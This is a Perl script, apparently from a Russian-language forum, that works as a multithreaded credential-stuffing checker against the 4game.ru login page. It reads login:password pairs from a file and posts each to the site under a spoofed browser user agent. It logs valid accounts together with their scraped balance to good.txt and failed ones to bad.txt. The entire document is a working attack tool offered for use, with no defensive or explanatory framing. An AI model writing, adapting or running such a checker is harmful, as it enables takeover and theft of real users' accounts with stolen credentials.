Code
#!/usr/bin/perl
#(c) dpe
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
use HTTP::Request::Common;
#######################Config##################################
my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ':'; #разделитель
my $threads = 1; #кол-во потоков
my $good = 'good.txt'; #файл с гудами
my $bad = 'bad.txt'; #файл с бэдами
###############################################################
my @accs : shared = lf($accs);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main {
while(@accs) {
my ($login, $pass) = split $acc_delm => shift @accs;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar({});
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $resp = $ua->post('https://4game.ru/login.html',
[ 'AuthForm[captchaRequired]' =>'',
'AuthForm[loginOrEmail]' => $login,
'AuthForm[password]' => $pass,
'AuthForm[rememberMe]' =>'1']);
if ($resp-> content=~ m/link button_register/msgi){
print "[BAD] $login:$pass\n";
wf($bad, "$login:$pass\n");}
else {
$resp = $ua->get("https://4game.ru/subscription/index.html")->content;
my $bal = $2 if $resp =~ /class="text_green"(>)(\d{1,10})\s(.*)<\/span>/;
print "[GOOD] $login:$pass:$bal\n";
wf($good, "$login:$pass:$bal\n");}
}
}
sub lf
{
open my $dat, '< ', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}